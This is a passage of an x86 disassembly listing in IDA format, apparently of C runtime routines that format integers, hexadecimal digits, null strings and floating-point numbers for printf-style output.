ecx mov [ebp+var_10], eax test eax, eax jnz short loc_44D30E or eax, 0FFFFFFFFh jmp loc_44D3D6 ; --------------------------------------------------------------------------- loc_44D30E: ; CODE XREF: sub_44D291+62j ; sub_44D291+73j test esi, esi jnz short loc_44D317 mov esi, offset aNull ; "(null)" loc_44D317: ; CODE XREF: sub_44D291+7Fj mov [ebp+var_20], 0 jmp short loc_44D39C ; --------------------------------------------------------------------------- loc_44D320: ; CODE XREF: sub_44D291+10Fj lea eax, [ebp+var_1C] push eax movzx eax, word ptr [esi] push eax lea eax, [ebp+var_C] push eax call sub_44E2C1 add esp, 0Ch mov edi, eax test eax, eax jl short loc_44D347 cmp word ptr [esi], 0 jnz short loc_44D34D dec edi mov eax, edi test eax, eax jge short loc_44D34D loc_44D347: ; CODE XREF: sub_44D291+A7j or [ebp+var_20], 0FFFFFFFFh jmp short loc_44D3A6 ; --------------------------------------------------------------------------- loc_44D34D: ; CODE XREF: sub_44D291+ADj ; sub_44D291+B4j cmp [ebp+var_4], edi jl short loc_44D3A6 mov eax, [ebx+14h] add eax, edi cmp [ebp+var_14], eax jnb short loc_44D377 mov dword ptr [ebx+34h], 0 mov eax, [ebp+var_10] push eax push ebx call sub_44C751 add esp, 8 mov dword ptr [ebx+14h], 0 loc_44D377: ; CODE XREF: sub_44D291+C9j push edi lea eax, [ebp+var_C] push eax mov eax, [ebx+14h] mov edx, [ebp+var_10] add eax, edx push eax call sub_449A11 add esp, 0Ch add [ebx+14h], edi cmp word ptr [esi], 0 jz short loc_44D3A6 add esi, 2 sub [ebp+var_4], edi loc_44D39C: ; CODE XREF: sub_44D291+8Dj cmp [ebp+var_4], 0 jg loc_44D320 loc_44D3A6: ; CODE XREF: sub_44D291+BAj ; sub_44D291+BFj ... mov eax, [ebp+var_10] push eax push ebx call sub_44C751 add esp, 8 mov dword ptr [ebx+34h], 0 mov dword ptr [ebx+14h], 0 lea eax, [ebp+var_60] cmp eax, [ebp+var_10] jz short loc_44D3D3 mov eax, [ebp+var_10] push eax call sub_4494D1 pop ecx loc_44D3D3: ; CODE XREF: sub_44D291+136j mov eax, [ebp+var_20] loc_44D3D6: ; CODE XREF: sub_44D291+78j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44D291 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D3E1 proc near ; CODE XREF: sub_44C011+256p ; sub_44C011+3CAp ... var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi cmp [ebp+arg_4], 58h jnz short loc_44D3F9 mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF" jmp short loc_44D400 ; --------------------------------------------------------------------------- loc_44D3F9: ; CODE XREF: sub_44D3E1+Dj mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef" loc_44D400: ; CODE XREF: sub_44D3E1+16j mov eax, [ebp+var_34] mov [ebp+var_24], eax cmp [ebp+arg_4], 6Fh jnz short loc_44D415 mov [ebp+var_38], 8 jmp short loc_44D430 ; --------------------------------------------------------------------------- loc_44D415: ; CODE XREF: sub_44D3E1+29j mov al, [ebp+arg_4] cmp al, 78h jz short loc_44D429 cmp al, 58h jz short loc_44D429 mov [ebp+var_38], 0Ah jmp short loc_44D430 ; --------------------------------------------------------------------------- loc_44D429: ; CODE XREF: sub_44D3E1+39j ; sub_44D3E1+3Dj mov [ebp+var_38], 10h loc_44D430: ; CODE XREF: sub_44D3E1+32j ; sub_44D3E1+46j mov eax, [ebp+var_38] mov [ebp+var_8], eax mov [ebp+var_4], 18h mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov [ebp+var_30], eax mov [ebp+var_2C], edx mov al, [ebp+arg_4] cmp al, 64h jz short loc_44D456 cmp al, 69h jnz short loc_44D47B loc_44D456: ; CODE XREF: sub_44D3E1+6Fj mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_44D47B jl short loc_44D468 test eax, eax jnb short loc_44D47B loc_44D468: ; CODE XREF: sub_44D3E1+81j mov eax, [ebp+var_30] mov edx, [ebp+var_2C] neg eax adc edx, 0 neg edx mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_44D47B: ; CODE XREF: sub_44D3E1+73j ; sub_44D3E1+7Fj ... mov eax, [ebp+var_30] mov edx, [ebp+var_2C] test edx, edx jnz short loc_44D492 test eax, eax jnz short loc_44D492 mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jz short loc_44D4C2 loc_44D492: ; CODE XREF: sub_44D3E1+A2j ; sub_44D3E1+A6j mov eax, [ebp+var_4] dec eax mov [ebp+var_3C], eax mov [ebp+var_4], eax mov ecx, [ebp+var_30] mov ebx, [ebp+var_2C] mov edx, [ebp+var_8] mov esi, edx mov edi, esi sar edi, 1Fh push ebx push ecx push edi push esi call sub_44E511 mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_3C] mov [ebp+edx+var_20], al loc_44D4C2: ; CODE XREF: sub_44D3E1+AFj mov eax, [ebp+var_30] mov edx, [ebp+var_2C] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_44D221 mov ecx, [ebp+arg_0] mov [ecx], eax mov [ecx+4], edx jmp short loc_44D553 ; --------------------------------------------------------------------------- loc_44D4E3: ; CODE XREF: sub_44D3E1+188j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_44E591 mov [ebp+var_48], eax mov [ebp+var_44], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4C], eax mov [ebp+var_4], eax mov edx, [ebp+var_8] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov esi, [ebp+var_48] mov edi, [ebp+var_44] push ebx push ecx push edi push esi call sub_44E641 neg eax adc edx, 0 neg edx mov ecx, [ebp+arg_0] mov ebx, [ecx+4] mov ecx, [ecx] add eax, ecx adc edx, ebx mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_4C] mov [ebp+edx+var_20], al mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov ebx, [ebp+var_44] mov [eax], ecx mov [eax+4], ebx loc_44D553: ; CODE XREF: sub_44D3E1+100j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jl short loc_44D56F jg short loc_44D565 test eax, eax jbe short loc_44D56F loc_44D565: ; CODE XREF: sub_44D3E1+17Ej cmp [ebp+var_4], 0 jg loc_44D4E3 loc_44D56F: ; CODE XREF: sub_44D3E1+17Cj ; sub_44D3E1+182j cmp [ebp+var_8], 8 jnz short loc_44D59B mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_44D59B mov eax, [ebp+var_4] cmp eax, 18h jnb short loc_44D59B cmp [ebp+eax+var_20], 30h jz short loc_44D59B mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov [ebp+eax+var_20], 30h loc_44D59B: ; CODE XREF: sub_44D3E1+192j ; sub_44D3E1+19Dj ... mov edx, [ebp+arg_0] mov eax, 18h mov ecx, [ebp+var_4] sub eax, ecx mov [edx+1Ch], eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] push edx mov edx, [ebp+var_4] lea edx, [ebp+edx+var_20] push edx mov eax, [eax+10h] push eax call sub_449A11 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] cmp [eax+1Ch], edx jge short loc_44D5E7 mov eax, [ebp+arg_0] mov edx, [eax+2Ch] sub edx, [eax+1Ch] mov [eax+18h], edx mov eax, [ebp+arg_0] and word ptr [eax+38h], 0FFEFh jmp short loc_44D618 ; --------------------------------------------------------------------------- loc_44D5E7: ; CODE XREF: sub_44D3E1+1EEj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_44D618 movzx edx, word ptr [eax+38h] and edx, 14h cmp edx, 10h jnz short loc_44D618 mov edx, [eax+34h] sub edx, [eax+14h] sub edx, [eax+18h] sub edx, [eax+1Ch] mov [ebp+var_4], edx test edx, edx jle short loc_44D618 mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [edx+18h], eax loc_44D618: ; CODE XREF: sub_44D3E1+204j ; sub_44D3E1+20Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44D3E1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= sub_44D621 proc near ; CODE XREF: sub_44C011+40Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_44E681 pop ecx movsx eax, ax retn sub_44D621 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D631 proc near ; CODE XREF: sub_44C011+48Cp var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = qword ptr -58h var_50 = qword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 64h lea eax, [ebp+var_3E] mov [ebp+var_4], eax mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_10] mov al, [ebp+arg_4] cmp al, 61h jz short loc_44D650 cmp al, 41h jnz short loc_44D652 loc_44D650: ; CODE XREF: sub_44D631+19j jmp short loc_44D685 ; --------------------------------------------------------------------------- loc_44D652: ; CODE XREF: sub_44D631+1Dj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_44D667 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 6 jmp short loc_44D685 ; --------------------------------------------------------------------------- loc_44D667: ; CODE XREF: sub_44D631+28j mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jnz short loc_44D685 mov al, [ebp+arg_4] cmp al, 67h jz short loc_44D67B cmp al, 47h jnz short loc_44D685 loc_44D67B: ; CODE XREF: sub_44D631+44j mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 1 loc_44D685: ; CODE XREF: sub_44D631:loc_44D650j ; sub_44D631+34j ... mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_14] push eax call sub_44E6F1 add esp, 8 mov [ebp+var_16], ax cmp ax, 2 jnz short loc_44D6EA mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_44D6C2 cmp al, 65h jz short loc_44D6C2 cmp al, 66h jz short loc_44D6C2 cmp al, 67h jnz short loc_44D6CB loc_44D6C2: ; CODE XREF: sub_44D631+83j ; sub_44D631+87j ... mov [ebp+var_44], 410122h jmp short loc_44D6D2 ; --------------------------------------------------------------------------- loc_44D6CB: ; CODE XREF: sub_44D631+8Fj mov [ebp+var_44], offset word_41011E loc_44D6D2: ; CODE XREF: sub_44D631+98j mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_449A11 add esp, 0Ch jmp loc_44DC85 ; --------------------------------------------------------------------------- loc_44D6EA: ; CODE XREF: sub_44D631+6Cj cmp [ebp+var_16], 0 jle short loc_44D73C mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_44D714 cmp al, 65h jz short loc_44D714 cmp al, 66h jz short loc_44D714 cmp al, 67h jnz short loc_44D71D loc_44D714: ; CODE XREF: sub_44D631+D5j ; sub_44D631+D9j ... mov [ebp+var_44], offset word_41011A jmp short loc_44D724 ; --------------------------------------------------------------------------- loc_44D71D: ; CODE XREF: sub_44D631+E1j mov [ebp+var_44], offset off_410116 loc_44D724: ; CODE XREF: sub_44D631+EAj mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_449A11 add esp, 0Ch jmp loc_44DC85 ; --------------------------------------------------------------------------- loc_44D73C: ; CODE XREF: sub_44D631+BEj mov al, [ebp+arg_4] cmp al, 61h jz short loc_44D747 cmp al, 41h jnz short loc_44D77F loc_44D747: ; CODE XREF: sub_44D631+110j mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx mov byte ptr [edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx xor eax, eax cmp [ebp+arg_4], 61h setnz al dec eax and eax, 20h add eax, 58h mov [edx], al mov eax, [ebp+arg_0] add dword ptr [eax+14h], 2 loc_44D77F: ; CODE XREF: sub_44D631+114j cmp [ebp+var_16], 0 jnz short loc_44D797 mov [ebp+var_12], 0 mov [ebp+var_14], 0 jmp loc_44DC66 ; --------------------------------------------------------------------------- loc_44D797: ; CODE XREF: sub_44D631+153j mov al, [ebp+arg_4] cmp al, 61h jz short loc_44D7A6 cmp al, 41h jnz loc_44D9AC loc_44D7A6: ; CODE XREF: sub_44D631+16Bj cmp [ebp+arg_4], 61h jnz short loc_44D7B5 mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef" jmp short loc_44D7BC ; --------------------------------------------------------------------------- loc_44D7B5: ; CODE XREF: sub_44D631+179j mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF" loc_44D7BC: ; CODE XREF: sub_44D631+182j mov eax, dword ptr [ebp+var_50+4] mov [ebp+var_48], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_44D7D4 mov dword ptr [ebp+var_50], 21h jmp short loc_44D7DE ; --------------------------------------------------------------------------- loc_44D7D4: ; CODE XREF: sub_44D631+198j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] inc eax mov dword ptr [ebp+var_50], eax loc_44D7DE: ; CODE XREF: sub_44D631+1A1j mov eax, dword ptr [ebp+var_50] mov [ebp+var_12], ax movsx eax, [ebp+var_12] inc eax mov [ebp+var_44], eax fld dbl_4100EC fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_44D807 mov eax, [ebp+arg_0] fld qword ptr [eax] fchs fstp [ebp+var_58] jmp short loc_44D80F ; --------------------------------------------------------------------------- loc_44D807: ; CODE XREF: sub_44D631+1C8j mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_58] loc_44D80F: ; CODE XREF: sub_44D631+1D4j fld [ebp+var_58] fstp [ebp+var_10] sub [ebp+var_14], 4 mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 0 jmp loc_44D8B2 ; --------------------------------------------------------------------------- loc_44D82B: ; CODE XREF: sub_44D631+293j push 1Ch lea eax, [ebp+var_10] push eax call sub_44E711 add esp, 8 fld [ebp+var_10] call sub_44E731 mov [ebp+var_5C], eax mov eax, [ebp+var_44] sub eax, 7 mov [ebp+var_44], eax test eax, eax jle short loc_44D85C fld [ebp+var_10] fild [ebp+var_5C] fsubp st(1), st fstp [ebp+var_10] loc_44D85C: ; CODE XREF: sub_44D631+21Ej mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax mov [ebp+var_60], 7 jmp short loc_44D881 ; --------------------------------------------------------------------------- loc_44D86E: ; CODE XREF: sub_44D631+25Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, [ebp+var_5C] and edx, 0Fh mov [eax], dl sar [ebp+var_5C], 4 loc_44D881: ; CODE XREF: sub_44D631+23Bj cmp [ebp+var_5C], 0 jle short loc_44D892 mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_44D86E loc_44D892: ; CODE XREF: sub_44D631+254j jmp short loc_44D89E ; --------------------------------------------------------------------------- loc_44D894: ; CODE XREF: sub_44D631+276j mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 0 loc_44D89E: ; CODE XREF: sub_44D631:loc_44D892j mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_44D894 mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax loc_44D8B2: ; CODE XREF: sub_44D631+1F5j cmp [ebp+var_44], 0 jle short loc_44D8CA fld [ebp+var_10] fcomp dbl_4100EC fnstsw ax sahf ja loc_44D82B loc_44D8CA: ; CODE XREF: sub_44D631+285j mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_44D8EB mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_44D8EB: ; CODE XREF: sub_44D631+2B1j cmp [ebp+var_12], 0 jl loc_44D98F mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_44D917 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 8 jb short loc_44D917 mov [ebp+var_64], 0Fh jmp short loc_44D91E ; --------------------------------------------------------------------------- loc_44D917: ; CODE XREF: sub_44D631+2CFj ; sub_44D631+2DBj mov [ebp+var_64], 0 loc_44D91E: ; CODE XREF: sub_44D631+2E4j mov eax, [ebp+var_64] mov byte ptr [ebp+var_60+3], al movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_44D932 ; --------------------------------------------------------------------------- loc_44D92D: ; CODE XREF: sub_44D631+311j sub [ebp+var_12], 1 loc_44D932: ; CODE XREF: sub_44D631+2FAj mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_60+3] cmp [edx+eax], cl jz short loc_44D92D cmp byte ptr [ebp+var_60+3], 0Fh jnz short loc_44D955 mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_44D955: ; CODE XREF: sub_44D631+317j cmp [ebp+var_5C], 0 jge short loc_44D968 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 4 loc_44D968: ; CODE XREF: sub_44D631+328j movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_44D984 ; --------------------------------------------------------------------------- loc_44D971: ; CODE XREF: sub_44D631+35Cj mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx movzx edx, byte ptr [eax] mov ecx, [ebp+var_48] mov dl, [ecx+edx] mov [eax], dl loc_44D984: ; CODE XREF: sub_44D631+33Ej mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax test eax, eax jge short loc_44D971 loc_44D98F: ; CODE XREF: sub_44D631+2BFj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge loc_44DC66 mov edx, [ebp+arg_0] movsx eax, [ebp+var_12] dec eax mov [edx+2Ch], eax jmp loc_44DC66 ; --------------------------------------------------------------------------- loc_44D9AC: ; CODE XREF: sub_44D631+16Fj fld dbl_4100EC fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_44D9C2 fld [ebp+var_10] fchs fstp [ebp+var_10] loc_44D9C2: ; CODE XREF: sub_44D631+387j movsx eax, [ebp+var_14] imul eax, 7597h push eax mov edx, 14F8B589h imul edx pop eax shr eax, 1Fh sar edx, 0Dh add eax, edx sub eax, 4 mov [ebp+var_14], ax test ax, ax jge short loc_44DA2D mov eax, 3 movsx edx, [ebp+var_14] sub eax, edx and eax, 0FFFFFFFCh mov [ebp+var_44], eax neg eax mov [ebp+var_14], ax mov [ebp+var_48], 0 jmp short loc_44DA25 ; --------------------------------------------------------------------------- loc_44DA09: ; CODE XREF: sub_44D631+3F8j test byte ptr [ebp+var_44], 1 jz short loc_44DA1F fld [ebp+var_10] mov eax, [ebp+var_48] fmul dbl_410094[eax*8] fstp [ebp+var_10] loc_44DA1F: ; CODE XREF: sub_44D631+3DCj sar [ebp+var_44], 1 inc [ebp+var_48] loc_44DA25: ; CODE XREF: sub_44D631+3D6j cmp [ebp+var_44], 0 jg short loc_44DA09 jmp short loc_44DA7D ; --------------------------------------------------------------------------- loc_44DA2D: ; CODE XREF: sub_44D631+3B6j cmp [ebp+var_14], 0 jle short loc_44DA7D fld dbl_4100E4 fstp [ebp+var_50] and [ebp+var_14], 0FFFCh movsx eax, [ebp+var_14] mov [ebp+var_44], eax mov [ebp+var_48], 0 jmp short loc_44DA6E ; --------------------------------------------------------------------------- loc_44DA52: ; CODE XREF: sub_44D631+441j test byte ptr [ebp+var_44], 1 jz short loc_44DA68 fld [ebp+var_50] mov eax, [ebp+var_48] fmul dbl_410094[eax*8] fstp [ebp+var_50] loc_44DA68: ; CODE XREF: sub_44D631+425j sar [ebp+var_44], 1 inc [ebp+var_48] loc_44DA6E: ; CODE XREF: sub_44D631+41Fj cmp [ebp+var_44], 0 jg short loc_44DA52 fld [ebp+var_10] fdiv [ebp+var_50] fstp [ebp+var_10] loc_44DA7D: ; CODE XREF: sub_44D631+3FAj ; sub_44D631+401j mov al, [ebp+arg_4] cmp al, 66h jz short loc_44DA88 cmp al, 46h jnz short loc_44DA94 loc_44DA88: ; CODE XREF: sub_44D631+451j movsx eax, [ebp+var_14] add eax, 0Ah mov [ebp+var_48], eax jmp short loc_44DA9B ; --------------------------------------------------------------------------- loc_44DA94: ; CODE XREF: sub_44D631+455j mov [ebp+var_48], 6 loc_44DA9B: ; CODE XREF: sub_44D631+461j mov eax, [ebp+var_48] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_44], eax cmp eax, 13h jle short loc_44DAB5 mov [ebp+var_44], 13h loc_44DAB5: ; CODE XREF: sub_44D631+47Bj mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 30h jmp loc_44DB5B ; --------------------------------------------------------------------------- loc_44DAC6: ; CODE XREF: sub_44D631+53Cj fld [ebp+var_10] call sub_44E731 mov dword ptr [ebp+var_50+4], eax mov eax, [ebp+var_44] sub eax, 8 mov [ebp+var_44], eax test eax, eax jle short loc_44DAEF fld [ebp+var_10] fild dword ptr [ebp+var_50+4] fsubp st(1), st fmul dbl_4100DC fstp [ebp+var_10] loc_44DAEF: ; CODE XREF: sub_44D631+4ABj mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov dword ptr [ebp+var_50], 8 jmp short loc_44DB2A ; --------------------------------------------------------------------------- loc_44DB01: ; CODE XREF: sub_44D631+508j push 0Ah mov eax, dword ptr [ebp+var_50+4] push eax call sub_44E761 add esp, 8 mov dword ptr [ebp+var_58], eax mov dword ptr [ebp+var_58+4], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, dword ptr [ebp+var_58+4] add edx, 30h mov [eax], dl mov eax, dword ptr [ebp+var_58] mov dword ptr [ebp+var_50+4], eax loc_44DB2A: ; CODE XREF: sub_44D631+4CEj cmp dword ptr [ebp+var_50+4], 0 jle short loc_44DB3B mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_44DB01 loc_44DB3B: ; CODE XREF: sub_44D631+4FDj jmp short loc_44DB47 ; --------------------------------------------------------------------------- loc_44DB3D: ; CODE XREF: sub_44D631+51Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 30h loc_44DB47: ; CODE XREF: sub_44D631:loc_44DB3Bj mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_44DB3D mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax loc_44DB5B: ; CODE XREF: sub_44D631+490j cmp [ebp+var_44], 0 jle short loc_44DB73 fld dbl_4100EC fcomp [ebp+var_10] fnstsw ax sahf jb loc_44DAC6 loc_44DB73: ; CODE XREF: sub_44D631+52Ej mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax add [ebp+var_14], 7 jmp short loc_44DB96 ; --------------------------------------------------------------------------- loc_44DB8B: ; CODE XREF: sub_44D631+56Bj dec [ebp+var_44] sub [ebp+var_14], 1 inc [ebp+var_4] loc_44DB96: ; CODE XREF: sub_44D631+558j mov eax, [ebp+var_4] cmp byte ptr [eax], 30h jz short loc_44DB8B mov al, [ebp+arg_4] cmp al, 66h jz short loc_44DBA9 cmp al, 46h jnz short loc_44DBB3 loc_44DBA9: ; CODE XREF: sub_44D631+572j movsx eax, [ebp+var_14] inc eax mov dword ptr [ebp+var_50+4], eax jmp short loc_44DBCE ; --------------------------------------------------------------------------- loc_44DBB3: ; CODE XREF: sub_44D631+576j mov al, [ebp+arg_4] cmp al, 65h jz short loc_44DBBE cmp al, 45h jnz short loc_44DBC7 loc_44DBBE: ; CODE XREF: sub_44D631+587j mov dword ptr [ebp+var_50+4], 1 jmp short loc_44DBCE ; --------------------------------------------------------------------------- loc_44DBC7: ; CODE XREF: sub_44D631+58Bj mov dword ptr [ebp+var_50+4], 0 loc_44DBCE: ; CODE XREF: sub_44D631+580j ; sub_44D631+594j mov eax, dword ptr [ebp+var_50+4] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_12], ax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_44DBED mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_44DBED: ; CODE XREF: sub_44D631+5B3j cmp [ebp+var_12], 0 jl short loc_44DC66 mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_44DC15 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 35h jb short loc_44DC15 mov dword ptr [ebp+var_58], 39h jmp short loc_44DC1C ; --------------------------------------------------------------------------- loc_44DC15: ; CODE XREF: sub_44D631+5CDj ; sub_44D631+5D9j mov dword ptr [ebp+var_58], 30h loc_44DC1C: ; CODE XREF: sub_44D631+5E2j mov eax, dword ptr [ebp+var_58] mov byte ptr [ebp+var_50+3], al movsx eax, [ebp+var_12] mov dword ptr [ebp+var_58+4], eax jmp short loc_44DC30 ; --------------------------------------------------------------------------- loc_44DC2B: ; CODE XREF: sub_44D631+60Fj sub [ebp+var_12], 1 loc_44DC30: ; CODE XREF: sub_44D631+5F8j mov eax, dword ptr [ebp+var_58+4] dec eax mov dword ptr [ebp+var_58+4], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_50+3] cmp [edx+eax], cl jz short loc_44DC2B cmp byte ptr [ebp+var_50+3], 39h jnz short loc_44DC53 mov eax, dword ptr [ebp+var_58+4] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_44DC53: ; CODE XREF: sub_44D631+615j cmp dword ptr [ebp+var_58+4], 0 jge short loc_44DC66 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 1 loc_44DC66: ; CODE XREF: sub_44D631+161j ; sub_44D631+365j ... movsx eax, [ebp+var_14] push eax movsx eax, [ebp+var_12] push eax mov eax, [ebp+var_4] push eax movzx eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44E791 add esp, 14h loc_44DC85: ; CODE XREF: sub_44D631+B4j ; sub_44D631+106j mov esp, ebp pop ebp retn sub_44D631 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DC91 proc near ; CODE XREF: sub_44C9C1+5Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea ebx, [ebp+arg_8] lea eax, [ebx+4] mov ebx, eax mov esi, [eax-4] push esi push 40h mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44DCC1 add esp, 10h pop esi pop ebx pop ebp retn sub_44DC91 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DCC1 proc near ; CODE XREF: sub_44DC91+1Bp var_3C = dword ptr -3Ch var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 3Ch push ebx push esi push edi mov ebx, [ebp+arg_4] mov [ebp+var_10], 0Ch mov [ebp+var_C], 0 test ebx, 80h jz short loc_44DCF0 mov [ebp+var_8], 0 mov [ebp+var_1], 10h jmp short loc_44DCFB ; --------------------------------------------------------------------------- loc_44DCF0: ; CODE XREF: sub_44DCC1+20j mov [ebp+var_8], 1 mov [ebp+var_1], 0 loc_44DCFB: ; CODE XREF: sub_44DCC1+2Dj test ebx, 8000h jnz short loc_44DD0F test ebx, 4000h jz short loc_44DD0F or [ebp+var_1], 80h loc_44DD0F: ; 